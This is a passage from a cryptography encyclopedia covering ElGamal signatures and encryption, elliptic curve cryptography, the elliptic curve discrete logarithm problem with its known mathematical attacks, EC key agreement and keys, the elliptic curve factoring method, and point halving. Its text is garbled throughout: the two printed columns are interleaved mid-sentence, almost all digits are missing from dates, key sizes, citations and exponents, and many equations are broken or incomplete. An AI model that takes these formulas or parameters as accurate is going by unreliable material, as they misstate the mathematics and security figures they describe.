u = yr r s = g r g ks = g r+ks = g r+H(snr)r
Related Concepts = g H(mr) (mod p)
Digital Signature Scheme; Schnorr Digital Signature
and therefore a valid message/signature is always accepted.
Background The signature can be shown to be existentially unforge-
The ElGamal signature scheme [] is one of the first able (existential forgery) under a chosen message attack
digital signature schemes based on an arithmetic mod- in the random oracle model, assuming the discrete log-
ulo a prime (modular arithmetic). It can be viewed as an arithm problem in the group generated by g is intractable
ancestor of the Digital Signature Standard and Schnorr []. In the proof of security, the function H is assumed to
signature scheme. ElGamal signatures are much longer be a random oracle. In practice, one derives H from some
than DSS and Schnorr signatures. As a result, this signa- cryptographic hash function such as SHA-. We note that
ture scheme is not used often and is mostly of interest for the check in Step of the verification algorithm is required.
historical reasons. Without this check, there is a simple forging algorithm
that, just given the public key, is able to forge a signature
Theory on any message m. In these forged signatures the value r is
We present a small modification of the original scheme that an integer in the range . . . p(p ). Similarly, we note that
includes a hash function needed for the security analysis: signing the message m directly without first hashing it with
E ElGamal Encryption
H results in a system for which a simple existential forgery Denition

is possible, just given the public key. The ElGamal public key encryption scheme is character-
To discuss signature length we fix concrete security ized by having as ciphertext, (c , c ) := (g k , m ykA ), which
parameters. At the present time the discrete log problem details are explained further on.
in the cyclic group Z p where p is a -bit prime is
considered intractable [] except for a very well funded
organization. With these parameters an ElGamal signature
Theory
is -bit long much longer than the related DSS or
In the ElGamal public key encryption scheme [] g is a
Schnorr signatures.
finite cyclic group of large enough order. q, (a multiple of)
There are many variants of the ElGamal signature
the order of g, denoted as ord(g) (not necessarily a prime),
scheme. We refer to Nyberg and Ruepel [] for a compari-
is public. In the original ElGamal scheme, g = Zp , p a
son of some six variants. The signature scheme can be made
prime and q = p . Today, q is usually a prime and g a
to work in any finite cyclic group in which the discrete log
point on an elliptic curve over a finite field or an element
problem is intractable. In particular, there is an analogous
from Zp .
scheme that works on elliptic curves instead of finite fields.
If Alice wants to make a public key, she chooses a R Zq
A variant that supports message recovery was proposed by
and she computes yA := g a in the group g. Her public key
Nyberg and Ruepel [].
will be (g, q, yA ). If a group of users uses the same g and q,
the public key could be shorter. Her secret key is a.
Recommended Reading If Bob, knowing Alices public key (g, q, yA ), wants to
. ElGamal T () A public key cryptosystem and signature
scheme based on the discrete logarithms. IEEE Trans Inform
encrypt a message m g to be sent to Alice, he chooses
Theory : k R Zq and computes (c , c ) := (g k , m ykA ) in the group
. Lenstra A, Verheul E () Selecting cryptographic key sizes. and sends c = (c , c ). To decrypt Alice (using her secret
J Cryptol (): key a) computes m := c (ca ) in this group.
. Nyberg K, Rueppel R () Message recovery for signature The security of this scheme is related to the Diffie
schemes based on the discrete logarithm problem. Des Codes
Cryptogr :
Hellman problem (see also []). A non-malleable variant of
. Pointcheval D, Stern J () Security arguments for digital this scheme was proposed independently by Tsiounis and
signatures and blind signatures. J Cryptol (): Yung [] and Jakobsson [], by combining Schnorrs sig-
nature scheme [] with ElGamal encryption. The proof of
nonmalleability uses some cryptographic assumptions and
the random oracle model.
ElGamal Encryption
ElGamal Public Key Encryption
Recommended Reading
. ElGamal T () A public key cryptosystem and a signature
scheme based on discrete logarithms. IEEE Trans Inf Theory
ElGamal Public Key Encryption :
. Jakobsson M () A practical mix. In: Nyberg K (ed) Advances
in Cryptology | Eurocrypt , Proceedings. Lecture notes in com-
Yvo Desmedt puter science, vol . Springer, Espoo, Finland, May June
Department of Computer Science, University College , pp
London, London, UK . Lipmaa H () On the CCA-security of ElGamal and Damgard
ElGamal. In: Lai X, Yung M, Lin D (eds) Inscrypt . Lecture
notes in computer science, vol . Springer, pp
Synonyms . Schnorr CP () Efficient identification and signatures for
ElGamal encryption smart cards. In: Brassard G (ed) Advances in Cryptology |
Crypto , Proceedings. Lecture notes in computer science, vol
Related Concepts . Springer, Santa Barbara, August , pp
. Tsiounis Y, Yung M () The security of ElGamal based encryp-
Decisional DiffieHellman Assumption; ElGamal
tion. In: Imai H, Zheng Y (eds) Public Key Cryptography, First
Decryption; Elliptic Curve Cryptography; E-Voting; International Workshop on Practice and Theory in Public Key
Public Key Cryptography; Security Reduction; Cryptography, PKC. Springer, Pacifico Yokohama, Japan,
Threshold Cryptography February , pp
Elliptic Curve Discrete Logarithm Problem E
(Hyperelliptic Curve Security). The main attractions for

Elliptic Curve Cryptography HEC are similar to those for ECC [].
Elliptic and hyperelliptic curves have been fundamen-
Darrel Hankerson , Alfred Menezes tal in the practical realization of pairing-based cryptogra-
Department of Mathematics, Auburn University, phy (PBC) (Pairings). Elliptic and hyperelliptic curves of
Auburn, AL, USA low embedding degree (Pairing-friendly Elliptic Curves)
Department of Combinatorics and Optimization, can be used to defined bilinear pairings, which in turn
University of Waterloo, Waterloo, Ontario, Canada can be used to implement elegant protocols for such tasks
as identity-based encryption and aggregate signatures.
Synonyms Interestingly, the low embedding degree curves which are
employed by pairing-based cryptography had been con-
ECC
sidered unsuitable or at least suspect in ECC due to their
E
Related Concepts special form and their susceptibility to the Weil and Tate
Public Key Cryptography pairing attacks (Elliptic Curve Discrete Logarithm Prob-
lem).
Denition
Elliptic curve cryptography (ECC) encompasses the design Recommended Reading
and analysis of public-key cryptographic schemes that can . Blake I, Seroussi G, Smart N () Elliptic curves in cryptogra-
phy, Cambridge University Press Cambridge
be implemented using elliptic curves.
. Cohen H, Frey G, Avanzi R, Doche C, Lange T, Nguyen K,
Vercauteren F () Handbook of elliptic and hyperelliptic
Background curve cryptography, Chapman & Hall/CRC Boca Raton, FL
Elliptic curve cryptographic schemes were proposed inde- . Hankerson D, Menezes A, Vanstone S () Guide to elliptic
pendently in by Neal Koblitz [] and Victor Miller curve cryptography, Springer, New York
[]. They are the elliptic curve analogues of schemes based . Hibner Koblitz A, Koblitz N, Menezes A (in press), Elliptic curve
cryptography: the serpentine course of a paradigm shift. J Numb
on the discrete logarithm problem, where the underlying Theory
group is the group of points on an elliptic curve defined . Koblitz N () Elliptic curve cryptosystems. Math Comput
over a finite field [, ]. See [] for a historical account of :
the development and commercial acceptance of ECC. . Miller V () Use of elliptic curves in cryptography. Advances
in CryptologyCRYPTO , Lecture Notes in Computer Sci-
ence, vol . Springer, pp
Theory
The security of all elliptic curve signature schemes,
elliptic curve key agreement schemes and elliptic curve
public-key encryption schemes is based on the appar-
ent intractability of the elliptic curve discrete loga- Elliptic Curve Discrete Logarithm
rithm problem (ECDLP). Unlike the case of the ordinary Problem
discrete logarithm problem in the multiplicative group
of a finite field, or with the integer factoring problem, Darrel Hankerson , Alfred Menezes
there is no subexponential-time algorithm known for the
Department of Mathematics, Auburn University,
ECDLP. Consequently, significantly smaller parameters Auburn, AL, USA
can be selected for elliptic curve schemes than for ordi-
nary discrete logarithm schemes or for RSA, and achieve University of Waterloo, Waterloo, Ontario, Canada
the same level of security. Smaller parameters can poten-
tially result in significant performance benefits especially
for higher levels of security. Related Concepts
Elliptic curves can be viewed as a special case of Discrete Logarithm Problem; Elliptic Curve Cryptog-
hyperelliptic curves, and hyperelliptic curve cryptogra- raphy
phy (HEC) (Hyperelliptic Curve Security) offers schemes
analogous to those in ECC but only where the secu- Denition
rity is based on the apparent intractability of the hyper- The ECDLP is a special case of the discrete logarithm
elliptic curve discrete logarithm problem (HECDLP) problem
E Elliptic Curve Discrete Logarithm Problem
Background : (x, y) (x , y ) is an endomorphism on E(Fm ) and

Let E be an elliptic curve defined over a finite field Fq , can be efficiently computed. By operating on the equiv-
and let P E(Fq ) be a point of order n. Given Q P, alence classes of points determined by the negation and
the elliptic curve discrete logarithm problem (ECDLP) is Frobenius maps, Pollards method for Koblitz curves can

to find the integer l, l n , such that Q = lP. The be accelerated further by a factor of m for a resulting
ECDLP is a special case of the discrete logarithm problem running time of
in which the cyclic group G is represented by the group P
of points on an elliptic curve. It is of cryptographic inter-
( n) / m.
est because its apparent intractability is the basis for the
security of elliptic curve cryptography.
The parallelized version of Pollards algorithm has
Theory been used in practice to solve several ECC challenges.
If the order n of the base point P is composite and
its factorization is known, then the PohligHellman
algorithm [] (see the discrete logarithm problem entry) Index-Calculus Methods
can be used to efficiently reduce the ECDLP in P to Unlike the case of the discrete logarithm problem in the
instances of the ECDLP in proper subgroups of P. Thus, multiplicative group of a finite field, there is no index-
the difficulty of the original ECDLP instance depends calculus method known for solving the general ECDLP
on the size of the largest prime factor of n. In order to that has a subexponential (or better) running time. No
maximize resistance to the PohligHellman algorithm, n appropriate choice is known for the elements of the factor
should be prime, as we will henceforth assume. base required in the index-calculus method. In the case of
elliptic curves over prime fields, the most natural choice
Pollards Method for factor base elements is obtained by regarding an elliptic
Pollards method [] (Pollards and methods) is curve point as having coordinates in the field of the ratio-
the best general-purpose algorithm known for solving the nal numbers, and selecting those points that have small
ECDLP. The algorithm, as improved by Teske [], has an height. Miller [] and Silverman and Suzuki [] presented
expected running time of n/ elliptic curve operations convincing arguments why this approach is doomed to fail.
and has negligible storage requirements. Van Oorschot and More recently, for the case of elliptic curves over fields
Wiener [] showed how Pollards method can be effec- Fqm with m > , Gaudry [] proposed a factor base con-
tively parallelized so that r processors could jointly work on sisting of points whose x-coordinate lies in Fq . For fixed
solving one ECDLP instance with a net speedup by a factor m , the resulting index-calculus algorithm has run-
of r. The processors do not have to communicate with each ning time O(q/m ) (see also []) which, although not
other, and only occasionally transmit data to a central pro- subexponential, is faster than Pollards method. Fur-
cessor. This method is also called parallel collision search thermore, Diem [] has proven that Gaudrys algorithm
(Discrete Logarithm Problem). has subexponential running time when the field order qm
Gallant, Lambert, and Vanstone [] and Wiener and increases in such a way that m is of order log q. Gaudrys
Zuccherato [] observed that Pollards method can be index-calculus algorithm and its derivatives do not seem
modified to operate on equivalence classes determined by effective (in the sense of being faster than Pollards
the negation map acting on points (which maps a point P method) for solving the ECDLP for elliptic curves that are
to P), rather than on points themselves. The running time used in practice, such as the NIST elliptic curves.
of this modified version is Silverman [] proposed a different idea for attacking
the ECDLP, which he termed xedni calculus. Shortly after,
( n) /,
Jacobson et al. [] gave compelling theoretical and exper-
a speedup by a factor of . imental evidence why xedni calculus would be ineffective
Gallant, Lambert, and Vanstone [] and Wiener and for solving the ECDLP.
Zuccherato [] also observed that Pollards method can Unlike the elliptic curve case, index-calculus methods
be accelerated by exploiting other efficiently computable are effective in solving the hyperelliptic curve discrete log-
endomorphisms of an elliptic curve. For the two Koblitz arithm problem (for higher genus curves). Such meth-
elliptic curves (also known as anomalous binary curves), ods are of concern when special-purpose algorithms
which are defined over F by the equations y + xy = (discussed below) convert the ECDLP to a corresponding
x + and y + xy = x + x + , the Frobenius map problem on a hyperelliptic curve.
Elliptic Curve Discrete Logarithm Problem E
Special-Purpose Algorithms [, ]. Thus, the GHS attack is ineffective for elliptic

Algorithms that are faster than Pollards method for curves over these fields.
solving the ECDLP are known for some special classes of The GHS attack for elliptic curves over Fm , where
elliptic curves. When selecting an elliptic curve for use in m is composite, has been extensively analyzed (see [],
a cryptographic scheme, one should verify that the ellip- [], and []). This body of work shows that the GHS
tic curve chosen is not vulnerable to these special-purpose attack is indeed effective in solving the ECDLP for some
attacks. elliptic curves over some fields Fm with m composite.
Hess [] generalized the GHS attack whereby the curve C
Attack on Prime-Field Anomalous Curves obtained is not necessarily hyperelliptic. The implications
An elliptic curve E over a prime field Fp is said to be prime- were examined in [], leading to additional concerns for
field anomalous if the number of points in E(Fp ) is equal certain composite m. In view of these attacks, it seems pru-
to p. Satoh and Araki [], Semaev [], and Smart [] dent to avoid use of elliptic curves over finite fields Fm ,
E
showed that for such curves, the ECDLP in E(Fp ) can be where m is composite.
efficiently solved. Hence, when selecting an elliptic curve E
over a prime field Fp for cryptographic use, it is important
to verify that #E(Fp ) p. Recommended Reading
. Adleman L, DeMarrais J, Huang M () A subexponential
algorithm for discrete logarithms over the rational subgroup
Weil and Tate Pairing Attacks
of the jacobians of large genus hyperelliptic curves over finite
Let E be an elliptic curve defined over a finite field fields. Algorithmic Number TheoryANTS-I, Lecture Notes in
Fq . Menezes, Okamoto, and Vanstone [] and Frey and Computer Science, vol . Springer, Berlin, pp
Rck [] showed how the Weil and Tate pairings can be . Diem C (in press), On the discrete logarithm problem in class
used to efficiently reduce the ECDLP in E(Fq ) to the dis- groups of curves. Mathematics of Computation, to appear
. Diem C () On the discrete logarithm problem in elliptic
crete logarithm problem in the multiplicative group of an
curves. Preprint
extension field Fqk , where subexponential-time index cal- . Frey G () Applications of arithmetical geometry to cryp-
culus methods are known. The reduction is only useful tographic constructions. Proceedings of the Fifth International
for solving the ECDLP instance if the discrete logarithm Conference on Finite Fields and Applications, Springer, Berlin,
problem in Fqk is tractable this imposes the restriction pp
. Frey G, Rck H () A remark concerning m-divisibility and
that k not be too large. Now, the smallest permissible value
the discrete logarithm in the divisor class group of curves. Math
for the extension degree k is the smallest integer k, such Comput :
that n divides qk . Hence, by verifying that n does not . Gallant R, Lambert R, Vanstone S () Improving the par-
divide qk for all integers k [, c] (where c is chosen allelized Pollard lambda search on anomalous binary curves.
so that the discrete logarithm problem in Fqc is deemed Math Comput :
. Gaudry P () An algorithm for solving the discrete log
to be intractable), the Weil and Tate pairing attacks can be
problem in hyperelliptic curves. Advances in cryptology
circumvented. EUROCRYPT , Lecture Notes in Computer Science, vol
Weil Descent . Gaudry P (), Index calculus for abelian varieties and the
Frey [] proposed a general methodology using Weil elliptic curve discrete logarithm problem. J Symbol Computa-
tion ():
descent for reducing the ECDLP in an elliptic curve E
. Gaudry P, Hess F, Smart N () Constructive and destructive
over a characteristic two finite field Fm to the discrete facets of Weil descent on elliptic curves. J Cryptol :
logarithm problem in the Jacobian JC (Fn ) of an algebraic . Hess F () Generalising the GHS attack on the elliptic curve
curve C defined over a subfield Fn of Fm . Gaudry, discrete logarithm problem. LMS J Comput Math :
Hess, and Smart [] gave an explicit algorithm for the . Jacobson M, Koblitz N, Silverman J, Stein A, Teske E ()
Analysis of the xedni calculus attack. Design Codes Cryptogr
case where C is a hyperelliptic curve of genus g defined
:
over Fn ; their method is called the GHS attack. Since . Jacobson M, Menezes A, Stein A () Solving elliptic curve
subexponential-time algorithms are known for the dis- discrete logarithm problems using Weil descent. J Ramanujan
crete logarithm problem in high genus hyperelliptic curves Math Soc :
(see [] and []), the GHS attack can potentially solve the . Maurer M, Menezes A, Teske E () Analysis of the GHS Weil
descent attack on the ECDLP over characteristic two finite fields
ECDLP faster than Pollards method.
of composite degree. LMS J Comput Math :
Menezes and Qu [] showed that the GHS attack . Menezes A, Okamoto T, Vanstone S () Reducing elliptic
is slower than Pollards method for all elliptic curves curve logarithms to logarithms in a finite field. IEEE Trans Inf
defined over finite fields Fm , where m is prime and m Theory :
E Elliptic Curve Key Agreement Schemes
. Menezes A, Qu M () Analysis of the Weil descent attack of Denition

Gaudry, Hess and Smart. Topics in cryptologyCT-RSA , Key agreement schemes establish a shared secret between
two or more parties. The versions described here are vari-
pp
. Menezes A, Teske E () Cryptographic implications of
ants of DiffieHellman key agreement schemes.
Hess generalized GHS attack. Appl Algebr Eng Comm Comput
:
. Menezes A, Teske E, Weng A () Weak fields for ECC. Top- Background
ics in cryptologyCT-RSA , Lecture Notes in Computer
Classic DiffieHellman is an unauthenticated protocol to
Science, vol . Springer, Berlin, pp
. Miller V () Use of elliptic curves in cryptography. Advances establish a shared secret. For a discussion of attacks and
in cryptologyCRYPTO , Lecture Notes in Computer Sci- authentication, DiffieHellman Key Agreement.
. Pohlig S, Hellman M () An improved algorithm for comput-
ing logarithms over GF(p) and its cryptographic significance.
IEEE Trans Inf Theory ,
Applications
. Pollard J () Monte Carlo methods for index computation In the elliptic curve analogue of the basic Diffie-Hellman
(mod p). Math Comput : key agreement scheme [], two users A and B share domain
. Satoh T, Araki K () Fermat quotients and the polyno- parameters D = (q, FR, S, a, b, P, n, h) (Elliptic Curve
mial time discrete log algorithm for anomalous elliptic curves. Keys). A selects an integer dA R [, n ] and sends
Comment Math Universitat Sancti Pauli :
QA = dA P to B. Similarly, B selects an integer dB R
. Semaev I () Evaluation of discrete logarithms in a group of
p-torsion points of an elliptic curve in characteristic p. Math [, n ] and sends QB = dB P to A. A computes K =
Comput : dA QB = dA dB P, and B similarly computes K = dB QA . The
. Silverman J () The xedni calculus and the elliptic shared secret point K is used to derive a secret key that
curve discrete logarithm problem. Design Codes Cryptogr can then be used to encrypt or authenticate messages using
:
symmetric-key schemes. Security against passive adver-
. Silverman J, Suzuki J () Elliptic curve discrete logarithms
and the index calculus. Advances in cryptologyASIACRYPT saries is based on the hardness of the elliptic curve ana-
, Lecture Notes in Computer Science, vol . Springer, logue of the DiffieHellman problem: given the domain
Berlin, pp parameters D and points QA and QB , compute K.
. Smart N () The discrete logarithm problem on elliptic In order to provide security against active adversaries,
curves of trace one. J Cryptol :
the exchanged points have to be authenticated. Many
. Teske E () Speeding up Pollards rho method for computing
discrete logarithms. Algorithmic number theoryANTS-III, variants of the basic DiffieHellman scheme that pro-
Lecture Notes in Computer Science, vol . Springer, Berlin, vide authentication have been proposed including the
pp station-to-station protocol [] and the MQV key agree-
. van Oorschot P, Wiener W () Parallel collision search with ment scheme []. For a survey of authenticated Diffie
cryptanalytic applications. J Cryptol :
Hellman protocols, see [] and []. Elliptic curve analogues
. Wiener M, Zuccherato R () Faster attacks on elliptic
curve cryptosystems. Selected Areas in CryptographySAC , of these protocols have been standardized in ANSI X.
Lecture Notes in Computer Science :, Springer, [], IEEE - [], ISO - [], and NIST SP -
Berlin A [].
Recommended Reading
. ANSI X. () Public key cryptography for the financial
Elliptic Curve Key Agreement services industry: key agreement and key transport using ellip-
Schemes tic curve cryptography. American National Standards Institute,
Washington, DC
. Blake-Wilson S, Menezes A () Authenticated DiffieHellman
Darrel Hankerson , Alfred Menezes
key agreement protocols. Selected Areas in CryptographySAC
Department of Mathematics, Auburn University, , Lecture Notes in Computer Science, vol . Springer,
Auburn, AL, USA Berlin, pp

Department of Combinatorics and Optimization, . Boyd C, Mathuria A () Protocols for key establishment and
University of Waterloo, Waterloo, Ontario, Canada authentication. Springer, New York
. Diffie W, Hellman M () New directions in cryptography. IEEE
Trans on Inf Theory :
. Diffie W, van Oorschot P, Wiener M () Authentication and
Related Concepts authenticated key exchanges. Design Codes Cryptogr :
DiffieHellman Key Agreement; Elliptic Curve Cryp- . IEEE Std - () IEEE standard specifications for
tography; Key Agreement public-key cryptography
Elliptic Curve Method for Factoring E
. ISO/IEC - () Information technology security characteristic of Fq is not or , and y + xy = x +

techniques cryptographic techniques based on elliptic curves ax + b if Fq has characteristic .
Part : key establishment
. A point P E(Fq ) of prime order.
. Law L, Menezes A, Qu M, Solinas J, Vanstone S () An effi-
cient protocol for authenticated key agreement. Design Codes
. The order n of P.
Cryptogr : . The cofactor h = #E(Fq )/n.
. SP -A () Special publication -A, Recommen-
dation for pair-wise key establishment schemes using discrete
Domain parameters may either be shared by a group of
logarithm cryptography. National Institute of Standards and users, or they may be specific to each user.
Technology US Gaithersburg, Maryland Typically the cofactor h is small (e.g., h = , , , or ). A
suitable elliptic curve can be found by randomly selecting
elliptic curves E over Fq until #E(Fq ) is a prime or almost
prime. The number of points #E(Fq ) can be determined E
Elliptic Curve Keys using a point counting algorithm.
Given a set of domain parameters D = (q, FR, S, a, b, P,
Darrel Hankerson , Alfred Menezes n, h), an elliptic curve key pair is (d, Q), where d R [, n]
Department of Mathematics, Auburn University, is the private key, and Q = dP is the corresponding public
Auburn, AL, USA key. Computing the private key from the public key is an
Department of Combinatorics and Optimization, instance of the elliptic curve discrete logarithm problem.
University of Waterloo, Waterloo, Ontario, Canada
Recommended Reading
. FIPS - () Digital signature standard (DSS), Federal
Related Concepts Information Processing Standards Publication -, National
Elliptic Curve Cryptography; Elliptic Curve Key Institute of Standards and Technology, Maryland Gaithersburg
Agreement Schemes; Elliptic Curve Public-Key En-
cryption Schemes; Elliptic Curve Signature Schemes
Denition Elliptic Curve Method

An elliptic curve key pair consists of a secret (private) for Factoring
integer and a publicly known point on a curve.
Paul Zimmermann
Background Team Caramel, Btiment A, LORIA/INRIA,
Generally speaking, keys are the entity-specific informa- Villers-ls-Nancy Cedex, France
tion in a public-key mechanism. In methods based on
elliptic curves, the keys commonly consist of a private
integer k and a public multiple kP on a curve. Together Synonyms
with parameters common to all key pairs, the private por- ECM
tion is used in signature generation and decryption, and
the public portion is used in signature verification and Related Concepts
encryption. Elliptic Curves; Elliptic Curves for Primality Proving;
Integer Factoring
Applications
Key pairs for elliptic curve cryptography are associated
Denition
with a set of domain parameters D = (q, FR, S, a, b, P, n, h),
The Elliptic Curve Method (ECM) is an integer factor-
which consist of:
ization method that uses elliptic curves modulo n to find
. The order q of the underlying field Fq . prime divisors of n.
. An indication FR of the representation used for the The Elliptic Curve Method was invented in by
elements of Fq . H. W. Lenstra, Jr. []. It is suited to find small say
. A seed S if the elliptic curve was generated verifiably digits prime factors of large numbers. Among the dif-
at random using a method such as those described in ferent factorization algorithms whose complexity mainly
FIPS - []. depends on the size of the factor searched for (trial divi-
. Two field elements a and b that define the equation of sion, Pollard rho, Pollard p , Williams p + ), it is asymp-
the elliptic curve: y = x + ax + b in the case that the totically the best method known (Integer Factoring for
E Elliptic Curve Method for Factoring
details on these methods). ECM can be viewed as a gen- benefit from the use of fast polynomial arithmetic, and are
eralization of Pollards p method, just like the elliptic then called FFT extensions [].
curves for primality proving method generalizes the n
primality test. ECM relies on Hasses theorem: if p is prime,
Theory
then an elliptic curve over Z/pZ has group order p + t
The expected
running time of ECM is conjectured to
with t p, where t depends on the curve. If p + t is
be O(L(p) +o() M(log n)) to find one factor of n,
a smooth number (smoothness), then ECM will most
where p is the (unknown) smallest prime divisor of n,
probably succeed and reveal the unknown factor p.
L(x) = e log x log log x (L-notation), M(log n) represents
the complexity of arithmetic modulo n, and the o() in
Background the exponent is for p tending to infinity. The second phase
Since , many improvements have been proposed to decreases the expected running time by a factor log p.
ECM. Lenstras original algorithm had no second phase. Optimal bounds B and B may be estimated from the
Brent proposes in [] a birthday paradox second phase, (usually unknown) size of the smallest factor of n, using
and further more technical refinements. In [], Mont- Dickmans function []. For RSA moduli, where n is the
gomery presents different variants of phase two of ECM product of two primes of roughly the same size, the run-
and Pollard p , and introduces a parameterization with ning time of ECM is comparable to that of the quadratic
homogeneous coordinates, which avoids inversions mod- sieve.
ulo n, with only and modular multiplications per addi-
tion and duplication on E, respectively. It is also possible to Applications
choose elliptic curves with a group order divisible by or ECM has been used to find factors of Cunningham num-
[, , ]. bers (an for a = , , , , , , , ). In particular,
n
Phase one of ECM works as follows. Let n be the num- Fermat numbers Fn = + are very good candidates for
ber to factor. An elliptic curve is E(Z/nZ) = {(x : y : z) n , since they are too large for general-purpose factor-
P (Z/nZ), y z x + axz + bz mod n}, where a, b are ization methods. Brent completed the factorization of F
two parameters from Z/nZ, and P (Z/nZ) is the projec- and F using ECM, after finding a -digit factor of F
tive plane over Z/nZ. The neutral element is O = ( : : in , and two factors of and digits of F in
), also called point at infinity. The key idea is that com- []. Brent, Crandall, Dilcher, and Van Halewyn found a -
putations in E(Z/nZ) project to E(Z/pZ) for any prime digit factor of F in , a (different) -digit factor of F
divisor p of n, with the important particular case of quan- in , and a -digit factor of F in . In , Bessel
tities which are zero in E(Z/pZ) but not in E(Z/nZ). Pick found a -digit factor of F .
at random a curve E and a point P on it. Then compute Some applications of ECM are less obvious. The factors
Q = k P where k is the product of all prime powers less found by the Cunningham project [] help to find prim-
than a bound B . Let p be a prime divisor of n: if the order itive polynomials over GF(q). They are also used in the
of E over Z/pZ divides k, then Q will be the neutral element Jacobi sum and cyclotomy tests for primality proving [].
of E(Z/pZ), thus its z-coordinate will be zero modulo p,
hence gcd(z, n) will reveal the factor p (unless z is zero
modulo another factor of n, which is unlikely). Experimental Results
Phase one succeeds when all prime factors of g = Brent maintains a list of the ten largest factors found by
#E(Z/pZ) are less than B ; phase two allows one prime ECM (http://wwwmaths.anu.edu.au/~brent/ftp/champs.
factor g of g to be as large as another bound B . The txt); his extrapolation from previous data would give an
idea is to consider two families (ai Q) and (bj Q) of points ECM record of digits in year , and digits in year
on E, and check whether two such points are equal over . As of September , the ECM record is a factor of
E(Z/pZ). If ai Q = (xi : yi : zi ) and bj Q = (xj : yj : zj ), digits.
then gcd (xi zj xj zi , n) will be nontrivial. This will suc-
ceed when g divides a nontrivial ai bj . Two variants of Open Problems
phase two exist: the birthday paradox continuation chooses It is not known whether the expected running time of ECM
the ai s and bj s randomly, expecting that the differences can be improved either in phase or in phase nor
ai bj will cover most primes up to B , while the standard whether there exists a method with better asymptotic com-
continuation chooses the ai s and bj s so that every prime up plexity depending only on the size log p of the smallest
to B divides at least one ai bj . Both continuations may prime factor, apart from polynomial terms in log n.
Elliptic Curve Point Multiplication Using Halving E
Recommended Reading curves. Double-and-add variations of familiar square-and-

. Atkin AOL, Morain F () Finding suitable curves for the ellip- multiply methods (Square and Multiply Algorithm) for
tic curve method of factorization. Math Comput (): modular exponentiation are commonly used to find kP.
. Brent RP () Some integer factorization algorithms using
Windowing methods can significantly reduce the num-
elliptic curves. Australian Comput Sci Commun :.
http://maths.anu.edu.au/~brent/pub/pub.html
ber of point additions required, but the number of point
. Brent RP () Factorization of the tenth Fermat number. Math doubles remains essentially unchanged.
Comput (): Among techniques to reduce the cost of the point
. Brillhart J, Lehmer DH, Selfridge JL, Tuckerman B, Wagstaff SS doubles in point multiplication, perhaps the best known
Jr () Factorizations of b n for b = , , , , , , ,
is illustrated in the case of Koblitz curves (elliptic
up to high powers, rd edn., vol of Contemporary math-
ematics. American Math Society. http://www.cerias.purdue.edu/
curves over Fm with coefficients in F ; see []), where
point doubling is replaced by inexpensive field squarings.
homes/ssw/cun/third/
. Lenstra HW () Factoring integers with elliptic curves. Ann Knudsen [] and Schroeppel [, ] proposed a point halv-
E
of Math : ing operation that shares strategy with -adic methods
. Mihailescu P () Cyclotomy primality proving recent devel-
on Koblitz curves in the sense that most point doublings
opments. In: Proceedings of ANTS III. Lecture notes in computer
science, vol . Portland, OR, pp
are replaced with less-expensive operations. The improve-
. Montgomery PL () Speeding the Pollard and elliptic curve ment is not as dramatic as that obtained on Koblitz curves;
methods of factorization. Math Comput (): however, halving applies to a wider class of curves.
. Montgomery PL () An FFT extension of the elliptic curve
method of factorization. PhD thesis, University of California, Los
Angeles, . ftp.cwi.nl:/pub/pmontgom/ucladissertation.psl.gz Theory and Application
. van de Lune J, Wattel E () On the numerical solution of a The coverage here is restricted to elliptic curves E over
differential-difference equation arising in analytic number the-
binary fields Fm defined by the equation
ory. Math Comput ():
y + xy = x + ax + b
Elliptic Curve Point Multiplication where a, b Fm , b . To simplify the exposition, only the
Using Halving case that Tr(a) = is considered; see [] (where minimal
two-torsion corresponds to Tr(a) = ) for the necessary
Darrel Hankerson , Alfred Menezes adjustments and computational costs for Tr(a) = curves.
Department of Mathematics, Auburn University, The parameter m is assumed to be prime. These properties
Auburn, AL, USA are satisfied by the five random curves over binary fields
Department of Combinatorics and Optimization, recommended by NIST in the FIPS - standard [].
University of Waterloo, Waterloo, Ontario, Canada Let P = (x, y) be a point on E with P P. The
(affine) coordinates of Q = P = (u, v) can be computed as
Related Concepts follows:
Elliptic Curve Cryptography; Square and Multiply
Algorithm = x + y/x ()

Denition u= ++a ()

Given a point Q on an elliptic curve, halving finds a point P v = x + u( + ) ()
so that Q = P. Halving can replace most doubles in point
multiplication algorithms built on double and add. (Elliptic Curves). Point halving is the following opera-
tion: given Q = (u, v), compute P = (x, y) such that
Background
Q = P. The basic idea for halving is to solve () for , ()
Elliptic curve cryptographic schemes require calculations
for x, and finally () for y.
of the type
kP = P + + P When G is a subgroup of odd order n in E, point dou-
bling and point halving are automorphisms of G. There-
k
fore, given a point Q G, there is a unique point P G
where k is a large integer and the addition is over the ellip-
such that Q = P. An efficient algorithm for point halving
tic curve (Elliptic Curves). The operation is known as
in G, along with a point multiplication algorithm based on
scalar or point multiplication, and dominates the execution
halving, are outlined in the following sections.
time of signature and encryption schemes based on elliptic
E Elliptic Curve Point Multiplication Using Halving

Point Halving rotation: c = (c , cm , . . . , c ). Squaring is a left rotation,
The notion of trace plays a central role in deriving an and x + x = c can be solved bitwise. These operations are
efficient algorithm for point halving. The trace function expected to be inexpensive relative to field multiplication.
m
Tr : Fm Fm is defined by Tr(c) = c+c +c + +c . However, field multiplication in software for normal basis
The map is linear, Tr(c) {, }, and Tr(u) = Tr(a) for representations tends to be slow in comparison to multi-
(u, v) G (from an application of Tr to ()). plication with a polynomial basis. The discussion here is
Given Q = (u, v) G, point halving seeks the unique restricted to computations in a polynomial basis represen-
point P = (x, y) G such that Q = P. The first step of tation, where c Fm is expressed as c = m i
i= ci z with
halving is to find = x + y/x by solving the equation ci {, }.

+
=u+a () Trace Computations
The trace of c may be calculated as Tr(c) = m i= ci Tr(z ),
i
for
. It is easily verified that {
,
+ }. If Tr(a) = ,
where the values Tr(z ) are precomputed. As an example,
i
then it follows from () that = if and only if Tr(v +
F with reduction polynomial f (z) = z +z +z +z +
u) = . Hence can be identified, and then () is solved
has Tr(z i ) = if and only if i {, }, and finding Tr(c)
for the unique root x. Finally, if needed, y = x + x may
is an essentially free operation.
be recovered with one field multiplication.
Let the -representation of a point Q = (u, v) be
Solving the Quadratic Equation
(u, Q ), where Q = u + v/u. Given the -representation of
For an odd integer m, define the half-trace H : Fm Fm
Q as the input to point halving, the value t = v + u may be (m)/ i
computed without converting to affine coordinates, since by H(c) = i= c . Then
m m
v
t = v + u = u(u + Q +
= u (u + u + ) + u
i i
). H(c) = H ( ci z ) = ci H(z )
u i= i=
In point multiplication, repeated halvings may be per- is a solution of the equation x +x = c+Tr(c). For elements
formed directly on the -representation of a point, with c with Tr(c) = , the calculation produces a solution H(c)
conversion to affine only when a point addition is required. of x + x = c, and requires an expected m/ field additions
and storage for m field elements H(z i ).
